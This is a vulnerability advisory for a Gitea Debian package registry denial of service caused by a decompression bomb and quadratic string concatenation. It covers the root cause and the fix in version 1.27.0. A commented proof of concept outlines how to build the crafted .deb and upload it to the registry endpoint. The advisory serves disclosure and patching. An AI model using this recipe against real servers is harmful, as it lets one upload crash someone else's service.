CVE-2026-56755: Gitea Debian Package Registry Denial of Service via Decompression Bomb and O(N^2) String Concatenation
Uploading a crafted .deb file to Gitea's package registry causes the server to decompress up to 16 GB of data into memory and perform quadratic string work, crashing the process with a single authenti
The problem
Gitea's Debian package parser decompresses control.tar.gz with no byte limit. DEFLATE ratios above 100:1 on repetitive input let an 83 MB upload expand to over 15 GB in memory before any validation runs, killing the server process via OOM.
A second bug compounds the damage independently: Description continuation lines are appended with += inside a loop. Because Go strings are immutable, every append copies the full accumulated string, producing O(N^2) total allocation. At 500,000 lines this generates roughly 250 GB of cumulative copy work, saturating a CPU core even on modest hardware.
Either bug alone can cause a full denial of service; together they are reliable with a single upload.
Proof of concept
A working proof-of-concept for CVE-2026-56755 in code.gitea.io/gitea, with the exact payload below.
// Build and run with the Docker wrapper in the advisory.
// Reproduces on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.
//
// Craft an 83 MB .deb whose control.tar.gz expands to ~15 GB on parse
// (decompression bomb), OR craft a Description with 500,000 continuation
// lines to trigger O(N^2) string concatenation (CPU exhaustion).
//
// The .deb ar-archive structure required:
// debian-binary -> "2.0\n"
// control.tar.gz -> tar containing ./control with 15 GB of repetitive lines
// data.tar.gz -> empty tar
//
// Minimal ./control that arms the bomb (unknown field "X" forces TeeReader
// to copy every byte into strings.Builder with no LimitReader guard):
const controlHeader = "Package: evil\n" +
"Version: 1.0\n" +
"Architecture: amd64\n" +
"Maintainer: Evil Hacker <evil@evil.com>\n" +
"Description: exploit\n"
// Pad to targetUncompressed (15 GB) with repetitive "X: a\n" lines.
// gzip BestSpeed compresses this to ~83 MB on disk.
//
// To arm the O(N^2) path instead, use a Description with N continuation
// lines (lines starting with a space):
// Description: title\n
// line1\n
// line2\n
// ... (500000 lines)
//
// HTTP upload to trigger parsing:
// PUT /api/packages/{owner}/debian/pool/{distribution}/{component}/upload
// Content-Type: application/octet-stream
// Authorization: Basic <valid-credentials>
// Body: <crafted .deb bytes>The root cause for the bomb is the absence of io.LimitReader anywhere in the ParsePackage -> ParseControlFile call chain. A TeeReader mirrors every decompressed byte into an unbounded strings.Builder; because the decompressor itself is unlimited, a 15 GB logical file is fully buffered in heap before any field-level check can reject it.
Other registry parsers in the same codebase (pub, conan, cargo) all wrap their readers with io.LimitReader; the Debian parser did not.
The O(N^2) path is CWE-407 (Algorithmic Complexity): the line `description += "\n" + line` at metadata.go:161 allocates a brand-new backing array on every iteration and copies the entire accumulated string into it. The patch replaces both patterns: it wraps the decompressor with io.LimitReader(r, maxSize) and replaces the += loop with a strings.Builder and WriteString calls, reducing Description concatenation to O(N) total allocation.
The fix
Upgrade to Gitea 1.27.0 (commits de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf, PRs #38406 and #38426). The patch adds io.LimitReader on the decompressed control.tar.gz stream and rewrites the Description-field accumulator to use strings.Builder, eliminating both the decompression bomb and the quadratic allocation.
Reported by AdamKorcz.
Related research
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission
- highCVE-2026-58436CVE-2026-58436: Gitea Locale Middleware ReDoS via Accept-Language Underscore Bypass
- high · 7.7CVE-2026-58314CVE-2026-58314: Gitea SSRF via Incomplete IP Classifier and Unguarded OpenID Discovery